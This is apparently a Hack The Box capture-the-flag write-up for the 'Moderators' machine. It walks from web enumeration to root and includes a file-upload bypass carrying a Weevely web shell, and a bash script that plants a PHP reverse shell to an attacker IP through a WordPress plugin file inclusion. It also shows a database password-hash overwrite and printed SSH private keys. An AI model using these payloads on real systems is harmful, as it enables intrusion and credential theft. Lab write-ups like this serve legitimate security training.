Skip to content

[Hack The Box][Machine][Hard] - 🐧 Moderators

This is my writeup for the Moderators machine on the Hackthebox plateform.

Let’s start with anΒ nmap scanΒ to enumerate the different ports that are open.

  • Port 22 (SSH)
  • Port 80 (HTTP)
nmap -sC -sV -oA nmap/moderators 10.129.222.70

# Nmap 7.92 scan initiated Tue Aug  9 11:08:45 2022
Nmap scan report for 10.129.222.70
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 39:03:16:06:11:30:a0:b0:c2:91:79:88:d3:93:1b:3e (RSA)
|   256 51:94:5c:59:3b:bd:bc:b6:26:7a:ef:83:7f:4c:ca:7d (ECDSA)
|_  256 a5:6d:03:fa:6c:f5:b9:4a:a2:a1:b6:bd:bc:60:42:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Moderators
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Aug  9 11:09:12 2022 -- 1 IP address (1 host up) scanned in 27.16 seconds

Website

On the home page of the website, there is nothing interesting except links to the pages :

  • about.php
  • blog.php
  • contact.php

Homepage

On the blog page, another link redirects us to the Report of the 8121 vulnerability (report.php).

Reports

We can FUZZ the report parameter to find other report pages :

  • 4221
  • 3478
  • 7612
  • 2589
  • 8121
  • 9798

Intruder

Report 9798 has an interesting information which is the path to logs.

Logspath

The ID after the /logs/ appears to be MD5. Crackstation cracks it quite easily. It is the MD5 of the report ID (9798). You can FUZZ the directory to find interesting log files like the logs.pdf file located in /logs/MD5/logs.pdf !

ffuf -u http://10.129.129.102/logs/e21cece511f43a5cb18d4932429915ed/FUZZ -e .pdf -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -fc 403

________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.129.102/logs/e21cece511f43a5cb18d4932429915ed/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
 :: Extensions       : .pdf
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 403
________________________________________________

logs.pdf                [Status: 200, Size: 10059, Words: 754, Lines: 220, Duration: 111ms]
.                       [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 110ms]

Unfortunately, the file exists but the content has been deleted.

LogsRemoved

Trying with the other Report IDs found previously, we find 2 logs.pdf files that are not empty and contain the path /logs/report_log_upload.php :

  • 7612 -> ce5d75028d92047a9ec617acb9c34ce6
  • 2589 -> 743c41a921516b04afde48bb48e28ce6

Reportphp

This new page has a log file upload feature. There is however a protection against files other than pdf. This protection can be bypassed.

FileUpload

First of all we will download Weevely which will allow us to generate a reverse shell and to communicate with it.

git clone https://github.com/epinna/weevely3/
python3 weevely3/weevely.py generate password123 qu35t.php

Generated 'qu35t.php' with password 'password123' of 774 byte size.

Then we will upload a real PDF file, intercept the request with Burp Suite, change the file name extension from .pdf to .pdf.php and add the content of the Weevely payload to the pdf content.

Upload

With a little fuzzing, we find that the files are uploaded in the folder : /logs/uploads/filename. So we get a reverse shell with Weevely !

python3 weevely3/weevely.py http://10.129.129.102/logs/uploads/qu35t.pdf.php password123    

[+] weevely 4.0.1

[+] Target:     10.129.129.102
[+] Session:    /home/qu35t/.weevely/sessions/10.129.129.102/qu35t.pdf_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> whoami
www-data
www-data@moderators:/var/www/html/logs/uploads $

www-data

There is a Wordpress running on port 8080. Its source code is located in the folder : /opt/site.new/

www-data@moderators:/opt/site.new $ ss -lnpt
State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port  Process  
LISTEN   0        80             127.0.0.1:3306          0.0.0.0:*              
LISTEN   0        4096           127.0.0.1:8080          0.0.0.0:*              
LISTEN   0        4096       127.0.0.53%lo:53            0.0.0.0:*              
LISTEN   0        128              0.0.0.0:22            0.0.0.0:*              
LISTEN   0        511                    *:80                  *:*              
LISTEN   0        128                 [::]:22               [::]:*

If we look at the plugins installed on the Wordpress: /opt/site.new/wp-content/plugins/, we see that the Brandfolder plugin is installed. However, there is a Local/Remote File inclusion vulnerability present in version 3.0 of this plugin : https://www.exploit-db.com/exploits/39591 Following the POC, we can very simply include our wp-load.php file which contains a reverse shell and thus have access to the lexi account.

#!/bin/bash

mkdir -p /var/www/html/logs/uploads/qu35t/{wp-admin,includes}
echo '<?php echo "empty" ?>' > /var/www/html/logs/uploads/qu35t/includes/media.php
echo '<?php echo "empty" ?>' > /var/www/html/logs/uploads/qu35t/includes/file.php
echo '<?php echo "empty" ?>' > /var/www/html/logs/uploads/qu35t/includes/image.php
echo '<?php echo "empty" ?>' > /var/www/html/logs/uploads/qu35t/includes/post.php
echo '<?php $sock=fsockopen("10.10.14.12", 9001);$proc=proc_open("bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>' > /var/www/html/logs/uploads/qu35t/wp-load.php

curl "http://127.0.0.1:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=/var/www/html/logs/uploads/qu35t/"
nc -lvnp 9001

listening on [any] 9001 ...
connect to [10.10.14.12] from (UNKNOWN) [10.129.129.102] 39312
id
uid=1001(lexi) gid=1001(lexi) groups=1001(lexi),1002(moderators)
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Lexi

Lexi has permissions to read the Wordpress configuration files. We can thus retrieve the database credentials located in the wp-config.php file.

// ** MySQL settings - You can get this info from your web host ** //                                                          
/** The name of the database for WordPress */                                                                                  
define( 'DB_NAME', 'wordpress' );                                                                                              

/** MySQL database username */                                                                                                 
define( 'DB_USER', 'wordpressuser' );                                                                                          

/** MySQL database password */                                                                                                 
define( 'DB_PASSWORD', 'wordpresspassword123!!' );                                                                             

/** MySQL hostname */                                                                                                          
define( 'DB_HOST', 'localhost' );                                                                                              

/** Database charset to use in creating database tables. */                                                                    
define( 'DB_CHARSET', 'utf8' );                                                                                                

/** The database collate type. Don't change this if in doubt. */                                                               
define( 'DB_COLLATE', '' );
MariaDB [wordpress]> select user_login,user_pass from wp_users;

+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| admin      | $P$BXasOiM52pOUIRntJTPVlMoH0ZlntT0 |
| lexi       | $P$BZ0Fj92qgnvg4F52r3lpwHejcXag461 |
+------------+------------------------------------+
2 rows in set (0.001 sec)

The Wordpress has 2 users :

  • admin
  • lexi

As we have the rights to edit the data in the database, we can change the password of the administrator by ours in order to connect to his account : https://www.useotools.com/fr/wordpress-password-hash-generator/

MariaDB [wordpress]> UPDATE wp_users SET user_pass = '$P$BPpQ7VN6aX1rn.il1p3tSFI/qX3lWM/' WHERE user_login = 'admin';

Query OK, 1 row affected (0.004 sec)
Rows matched: 1  Changed: 1  Warnings: 0

Once the password is changed, we forward the port 8080 to our host to connect via Firefox.

ssh -L 8080:127.0.0.1:8080 -i lexi.key lexi@10.129.129.102

Last login: Wed Aug 10 10:23:17 2022 from 10.10.14.12
lexi@moderators:~$

Don't forget to add the domain moderators.htb to our host file in order to load the wordpress resources.

GNU nano 6.4                                               /etc/hosts *                                                      
127.0.0.1       localhost moderators.htb

Once logged in, we can access the PWDMS tab and get john's SSH private key to connect to his account via SSH.

SSHjohn

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

John

In the home of john there are the files of a VirtualBox virtual machine. The file 2019.vdi is a virtual disk.

└── stuff
    β”œβ”€β”€ exp
    β”‚Β Β  β”œβ”€β”€ 2021-09-15.exp
    β”‚Β Β  β”œβ”€β”€ 2021-09-17.exp
    β”‚Β Β  β”œβ”€β”€ 2021-09-18.exp
    β”‚Β Β  β”œβ”€β”€ 2021-09-19.exp
    β”‚Β Β  β”œβ”€β”€ 2021-09-20.exp
    β”‚Β Β  └── 2021-09-23.exp
    └── VBOX
        β”œβ”€β”€ 2019-08-01.vbox
        β”œβ”€β”€ 2019.vdi

We will create our own virtual machine under Ubuntu and add the disk 2019.vdi to read it :

1) Download the Ubuntu ISO : https://ubuntu.com/download/desktop 2) Download VirtualBox and install Extension Pack 3) Follow the following tutorial until step 8 : https://www.geeksforgeeks.org/how-to-install-ubuntu-on-virtualbox/ 4) We add the disk 2019.vdi

Addvdi

5) Start the VM 6) Going to the disk manager, we see that the disk is encrypted

checkencrypt

7) You can crack the password with this tool : https://github.com/Diverto/cryptsetup-pwguess/releases

bruteforce

8) We can decrypt the disk with the password : abc123 and mount it to recover its contents.

Unlock

9) The disk has a lot of scripts for installing services. One script is worth mentioning because it was not updated at the same time as the others: distro_update.sh

Datechanged

10) This script contains the password of the sysadmin : john. We can raise our privileges with this password

adminpasswd

john@moderators:~$ sudo su
[sudo] password for john:

root@moderators:/home/john# id
uid=0(root) gid=0(root) groups=0(root)